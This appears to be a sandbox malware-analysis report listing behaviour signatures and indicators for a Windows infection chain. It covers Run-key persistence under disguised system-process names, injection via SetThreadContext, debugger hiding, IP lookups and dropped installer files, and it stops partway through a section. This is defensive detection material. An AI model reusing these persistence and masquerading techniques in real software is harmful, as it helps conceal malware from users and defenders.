Esplorarne.exe.com6485551.exeEsplorarne.exe.comdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppxSignature\\conhost.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 6485551.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Windows\\SysWOW64\\Dism\\en-US\\SppExtComObj.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Windows\\SysWOW64\\Dism\\en-US\\SppExtComObj.exe\"" Esplorarne.exe.com Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run Esplorarne.exe.com Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\ Esplorarne.exe.com Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\odt\\dllhost.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\odt\\dllhost.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppxSignature\\conhost.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\wSkUQdg9eXwLMP3Xe8hyuuQX = "\"C:\\Users\\Admin\\Documents\\desktop\\wSkUQdg9eXwLMP3Xe8hyuuQX.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\wSkUQdg9eXwLMP3Xe8hyuuQX = "\"C:\\Users\\Admin\\Documents\\desktop\\wSkUQdg9eXwLMP3Xe8hyuuQX.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Program Files\\MSBuild\\csrss.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Program Files\\MSBuild\\csrss.exe\"" Esplorarne.exe.com -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
lTdARvNzLhrSRWDDbUC_YlI_.exe6E6A.exeppDDSZjoP6QBdKGzcUisKQc0.exeKSraykjBAgFKMYGPvuzrDWuH.exevknD0ATLjHw2BkxuALAGvqX5.exeUaknCH3EJQTdkYUqia4rM3G3.exeEsplorarne.exe.comnwTBneNKhXDMCe0UD6GjUplv.exeEpq2abwVlYZJhzJrHmw_wpCB.exe9A1DySClcuBMKHIonBIvGxQN.exe72C0.exewSkUQdg9eXwLMP3Xe8hyuuQX.exe49E9.exeBmZUXXXkmxDliwoqSKDVSzo7.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA lTdARvNzLhrSRWDDbUC_YlI_.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6E6A.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ppDDSZjoP6QBdKGzcUisKQc0.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA KSraykjBAgFKMYGPvuzrDWuH.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA vknD0ATLjHw2BkxuALAGvqX5.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA UaknCH3EJQTdkYUqia4rM3G3.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Esplorarne.exe.com Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA nwTBneNKhXDMCe0UD6GjUplv.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Epq2abwVlYZJhzJrHmw_wpCB.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 9A1DySClcuBMKHIonBIvGxQN.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 72C0.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA wSkUQdg9eXwLMP3Xe8hyuuQX.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 49E9.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA BmZUXXXkmxDliwoqSKDVSzo7.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
Setup.exemsiexec.exeGameBoxWin64.exemsiexec.exeCleaner Installation.exedescription ioc process File opened (read-only) \??\L: Setup.exe File opened (read-only) \??\Y: Setup.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\M: GameBoxWin64.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: Setup.exe File opened (read-only) \??\N: Cleaner Installation.exe File opened (read-only) \??\N: Setup.exe File opened (read-only) \??\V: Setup.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\N: GameBoxWin64.exe File opened (read-only) \??\F: Cleaner Installation.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\F: Setup.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: GameBoxWin64.exe File opened (read-only) \??\S: Cleaner Installation.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\W: GameBoxWin64.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\K: Cleaner Installation.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\M: Setup.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: GameBoxWin64.exe File opened (read-only) \??\L: GameBoxWin64.exe File opened (read-only) \??\O: GameBoxWin64.exe File opened (read-only) \??\K: Setup.exe File opened (read-only) \??\I: Setup.exe File opened (read-only) \??\R: Cleaner Installation.exe File opened (read-only) \??\Z: Cleaner Installation.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: Cleaner Installation.exe File opened (read-only) \??\Q: Setup.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\B: Setup.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\W: Setup.exe File opened (read-only) \??\B: Cleaner Installation.exe File opened (read-only) \??\O: Setup.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: Cleaner Installation.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\T: Cleaner Installation.exe File opened (read-only) \??\W: Cleaner Installation.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\H: Cleaner Installation.exe File opened (read-only) \??\A: Setup.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: GameBoxWin64.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: Cleaner Installation.exe File opened (read-only) \??\O: Cleaner Installation.exe File opened (read-only) \??\P: Setup.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 28 ipinfo.io 143 ipinfo.io 153 ip-api.com 222 ipinfo.io 226 ipinfo.io 274 ipinfo.io 275 ipinfo.io 27 ipinfo.io 141 ipinfo.io 233 ipinfo.io 235 ipinfo.io 394 ipinfo.io 397 ipinfo.io -
Drops file in System32 directory 37 IoCs
Processes:
mask_svc.exesvchost.exesvchost.exeEsplorarne.exe.comDrvInst.exetapinstall.exedescription ioc process File opened for modification C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542}\tap0901.sys mask_svc.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #3 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542}\SET8E02.tmp mask_svc.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #6 svchost.exe File created C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542}\SET8E01.tmp mask_svc.exe File created C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542}\SET8E02.tmp mask_svc.exe File created C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542}\SET8DF0.tmp mask_svc.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542} mask_svc.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #2 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 7E81061C4400CED5 svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542}\tap0901.cat mask_svc.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt mask_svc.exe File opened for modification C:\Windows\System32\Tasks\wSkUQdg9eXwLMP3Xe8hyuuQX svchost.exe File opened for modification C:\Windows\System32\Tasks\csrss svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #4 svchost.exe File created C:\Windows\SysWOW64\Dism\en-US\e1ef82546f0b02b7e974f28047f3788b1128cce1 Esplorarne.exe.com File opened for modification C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542}\SET8DF0.tmp mask_svc.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542}\oemvista.inf mask_svc.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4 svchost.exe File created C:\Windows\SysWOW64\Dism\en-US\SppExtComObj.exe Esplorarne.exe.com File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #5 svchost.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.inf mask_svc.exe File opened for modification C:\Windows\System32\Tasks\AdvancedUpdater svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{112a83b0-4294-014f-87e5-6255141bf542}\SET8E01.tmp mask_svc.exe File created C:\Windows\System32\DriverStore\drvstore.tmp mask_svc.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.sys mask_svc.exe File opened for modification C:\Windows\System32\Tasks\conhost svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent FDDC382BC8DD7796 svchost.exe File opened for modification C:\Windows\SysWOW64\Dism\en-US\SppExtComObj.exe Esplorarne.exe.com File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF tapinstall.exe File opened for modification C:\Windows\System32\Tasks\dllhost svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #1 svchost.exe File opened for modification C:\Windows\System32\Tasks\SppExtComObj svchost.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.cat mask_svc.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
Processes:
lTdARvNzLhrSRWDDbUC_YlI_.exeKSraykjBAgFKMYGPvuzrDWuH.exeppDDSZjoP6QBdKGzcUisKQc0.exevknD0ATLjHw2BkxuALAGvqX5.exeUaknCH3EJQTdkYUqia4rM3G3.exebuilder.exeBmZUXXXkmxDliwoqSKDVSzo7.exewSkUQdg9eXwLMP3Xe8hyuuQX.exenwTBneNKhXDMCe0UD6GjUplv.exeEpq2abwVlYZJhzJrHmw_wpCB.exe9A1DySClcuBMKHIonBIvGxQN.exeEsplorarne.exe.com49E9.exe6E6A.exe72C0.exeDllHost.exemask_svc.exemask_svc.exepid process 2072 lTdARvNzLhrSRWDDbUC_YlI_.exe 3028 KSraykjBAgFKMYGPvuzrDWuH.exe 3260 ppDDSZjoP6QBdKGzcUisKQc0.exe 2820 vknD0ATLjHw2BkxuALAGvqX5.exe 4536 UaknCH3EJQTdkYUqia4rM3G3.exe 7084 builder.exe 7084 builder.exe 5248 BmZUXXXkmxDliwoqSKDVSzo7.exe 7084 builder.exe 7680 wSkUQdg9eXwLMP3Xe8hyuuQX.exe 7704 nwTBneNKhXDMCe0UD6GjUplv.exe 7608 Epq2abwVlYZJhzJrHmw_wpCB.exe 7084 builder.exe 7632 9A1DySClcuBMKHIonBIvGxQN.exe 7084 builder.exe 7084 builder.exe 7084 builder.exe 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 4600 49E9.exe 7084 builder.exe 6364 Esplorarne.exe.com 5456 6E6A.exe 3580 72C0.exe 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 3044 DllHost.exe 6364 Esplorarne.exe.com 7084 builder.exe 8288 mask_svc.exe 6364 Esplorarne.exe.com 7084 builder.exe 7236 mask_svc.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com 7084 builder.exe 6364 Esplorarne.exe.com -
Suspicious use of SetThreadContext 19 IoCs
Processes:
MkUJBpTtAfGlkX4du8wRlRNU.exeRrOS_NpsYb1qjEyd619lZYW1.exeSy8Smn3WlNY0g0FMgl9ox33q.exeFdTwZzySl8xLCEhH6g0wue1K.exez7zPaDgBJ7lwrmR9SJVKMc89.exeEsplorarne.exe.comEsplorarne.exe.comsvchost.exeEsplorarne.exe.comwl8P1UQMhT0NeM8ACBfqml7w.exejA7c1ikV7hZgPAMgupTzYFrt.exe2p38djSTk4aR0nBYk3QO4FBy.exeeXr7_LLJdWYTop1YzLm_QeHk.exetwH0B4h5zF9SL7Sr4W1qXw8I.exeqw5pabYddn_SIwOr5A0hFmaU.exeEsplorarne.exe.comRUNDLL32.EXEEsplorarne.exe.comrcwiwvcdescription pid process target process PID 2824 set thread context of 4820 2824 MkUJBpTtAfGlkX4du8wRlRNU.exe MkUJBpTtAfGlkX4du8wRlRNU.exe PID 1064 set thread context of 4856 1064 RrOS_NpsYb1qjEyd619lZYW1.exe RrOS_NpsYb1qjEyd619lZYW1.exe PID 1528 set thread context of 4224 1528 Sy8Smn3WlNY0g0FMgl9ox33q.exe Sy8Smn3WlNY0g0FMgl9ox33q.exe PID 1060 set thread context of 4204 1060 FdTwZzySl8xLCEhH6g0wue1K.exe FdTwZzySl8xLCEhH6g0wue1K.exe PID 4664 set thread context of 4076 4664 z7zPaDgBJ7lwrmR9SJVKMc89.exe z7zPaDgBJ7lwrmR9SJVKMc89.exe PID 4744 set thread context of 5148 4744 Esplorarne.exe.com P8obkqIKLX5nW5yam1WFJZus.exe PID 2588 set thread context of 6248 2588 Esplorarne.exe.com B0m3nJcdf1PM9fYVcg6oA4FX.exe PID 2876 set thread context of 6852 2876 svchost.exe svchost.exe PID 4316 set thread context of 4628 4316 Esplorarne.exe.com kkWtNVg3HEIGb3VZ5t9poqQM.exe PID 4188 set thread context of 7272 4188 wl8P1UQMhT0NeM8ACBfqml7w.exe wl8P1UQMhT0NeM8ACBfqml7w.exe PID 7640 set thread context of 4532 7640 jA7c1ikV7hZgPAMgupTzYFrt.exe jA7c1ikV7hZgPAMgupTzYFrt.exe PID 7592 set thread context of 5140 7592 2p38djSTk4aR0nBYk3QO4FBy.exe 2p38djSTk4aR0nBYk3QO4FBy.exe PID 7624 set thread context of 5512 7624 eXr7_LLJdWYTop1YzLm_QeHk.exe eXr7_LLJdWYTop1YzLm_QeHk.exe PID 7656 set thread context of 8572 7656 twH0B4h5zF9SL7Sr4W1qXw8I.exe twH0B4h5zF9SL7Sr4W1qXw8I.exe PID 7600 set thread context of 6548 7600 qw5pabYddn_SIwOr5A0hFmaU.exe qw5pabYddn_SIwOr5A0hFmaU.exe PID 5100 set thread context of 3964 5100 Esplorarne.exe.com 5YWVUH5NGCD8vEjnnDXYASpS.exe PID 4260 set thread context of 852 4260 RUNDLL32.EXE rundll32.exe PID 8492 set thread context of 4080 8492 Esplorarne.exe.com rcwiwvc PID 7364 set thread context of 9824 7364 rcwiwvc rcwiwvc -
Drops file in Program Files directory 64 IoCs
Processes:
Setup.tmpmsiexec.exeEsplorarne.exe.comEsplorarne.exe.comSetup.tmpImQEbdeCAQ20rGBrZVrQsHp0.exeSetup.exexTnNWYtSdCxDsuxhV_ZtfKWq.exeMaskVPNUpdate.exedescription ioc process File opened for modification C:\Program Files (x86)\MaskVPN\polstore.dll Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-8N5N7.tmp Setup.tmp File opened for modification C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ini msiexec.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d.jfm Esplorarne.exe.com File created C:\Program Files (x86)\MaskVPN\is-JQU42.tmp Setup.tmp File created C:\Program Files\MSBuild\886983d96e3d3e31032c679b2d4ea91b6c05afef Esplorarne.exe.com File created C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe msiexec.exe File opened for modification C:\Program Files (x86)\INL Corpo Brovse\javaw.exe Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\tunnle.exe Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-0U7TK.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-MLU77.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-81CAU.tmp Setup.tmp File opened for modification C:\Program Files (x86)\INL Corpo Brovse\unins000.dat Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-K350H.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-K07J7.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-PN7LQ.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-9BRGJ.tmp Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe ImQEbdeCAQ20rGBrZVrQsHp0.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe Setup.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-1HTV1.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-K9IIT.tmp Setup.tmp File opened for modification C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url msiexec.exe File opened for modification C:\Program Files (x86)\INL Corpo Brovse\libcueify.dll Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-0JU10.tmp Setup.tmp File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe Setup.exe File created C:\Program Files\MSBuild\csrss.exe Esplorarne.exe.com File created C:\Program Files (x86)\MaskVPN\is-LQJ0N.tmp Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\jooyu.exe ImQEbdeCAQ20rGBrZVrQsHp0.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jooyu.exe xTnNWYtSdCxDsuxhV_ZtfKWq.exe File opened for modification C:\Program Files (x86)\MaskVPN\ipseccmd.exe Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\win732\tapinstall.exe Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-D9UU8.tmp Setup.tmp File created C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk msiexec.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe Setup.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-N8CMT.tmp Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\ssleay32.dll Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-1VER7.tmp Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libMaskVPN.dll Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp32\devcon.exe Setup.tmp File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe Setup.exe File opened for modification C:\Program Files (x86)\INL Corpo Brovse\libass.dll Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-VBVM8.tmp Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\customer3.exe ImQEbdeCAQ20rGBrZVrQsHp0.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe Setup.exe File opened for modification C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url msiexec.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-I3VEC.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-M5PKM.tmp Setup.tmp File created C:\Program Files (x86)\INL Corpo Brovse\is-UMPTS.tmp Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\unins000.dat Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\MaskVPN.exe Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-6MEI4.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-B7Q4A.tmp Setup.tmp File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe Setup.exe File created C:\Program Files (x86)\INL Corpo Brovse\unins000.dat Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-ADO03.tmp Setup.tmp File opened for modification C:\Program Files (x86)\INL Corpo Brovse\QtProfiler.exe Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\mask_svc.exe Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\version MaskVPNUpdate.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe Setup.exe File created C:\Program Files (x86)\Company\NewProduct\d.jfm Esplorarne.exe.com File created C:\Program Files (x86)\MaskVPN\is-Q8ILT.tmp Setup.tmp -
Drops file in Windows directory 59 IoCs
Processes:
msiexec.exesvchost.exeConhost.exeEsplorarne.exe.comMicrosoftEdge.exemask_svc.exeDrvInst.exetapinstall.exedescription ioc process File opened for modification C:\Windows\Installer\MSICE62.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log svchost.exe File opened for modification C:\Windows\Installer\MSI96A8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC5D8.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe File opened for modification C:\Windows\Installer\MSIFEEF.tmp msiexec.exe File opened for modification C:\Windows\Logs\DPX\setupact.log Conhost.exe File opened for modification C:\Windows\Installer\f7909a6.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI970.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1306.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File opened for modification C:\Windows\Installer\MSIC509.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC27B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI74E5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI984F.tmp msiexec.exe File created C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppxSignature\conhost.exe Esplorarne.exe.com File opened for modification C:\Windows\Installer\MSID4FE.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7260.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE911.tmp msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File opened for modification C:\Windows\Installer\MSIC72E.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{B59E6947-D960-4A88-902E-F387AFD7DF1F} msiexec.exe File opened for modification C:\Windows\Installer\MSIC5C5.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIA375.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log mask_svc.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File opened for modification C:\Windows\Installer\MSI94A4.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1ECE.tmp msiexec.exe File opened for modification C:\Windows\Installer\f7909a2.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI3EFA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3343.tmp msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIBF4E.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\inf\oem2.inf mask_svc.exe File opened for modification C:\Windows\Installer\MSI9261.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9DFE.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI761A.tmp msiexec.exe File created C:\Windows\Installer\f7909a6.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF1DE.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3EAF.tmp msiexec.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log Conhost.exe File created C:\Windows\inf\oem2.inf mask_svc.exe File opened for modification C:\Windows\Installer\MSIA80A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2A87.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICA5D.tmp msiexec.exe File created C:\Windows\Installer\f7909a9.msi msiexec.exe File created C:\Windows\Installer\f7909a2.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI9B6D.tmp msiexec.exe File created C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppxSignature\088424020bedd6b28ac7fd22ee35dcd7322895ce Esplorarne.exe.com File opened for modification C:\Windows\Installer\MSI736F.tmp msiexec.exe File created C:\Windows\INF\oem2.PNF DrvInst.exe File opened for modification C:\Windows\Installer\MSID366.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7E68.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log tapinstall.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 24 IoCs
Processes:
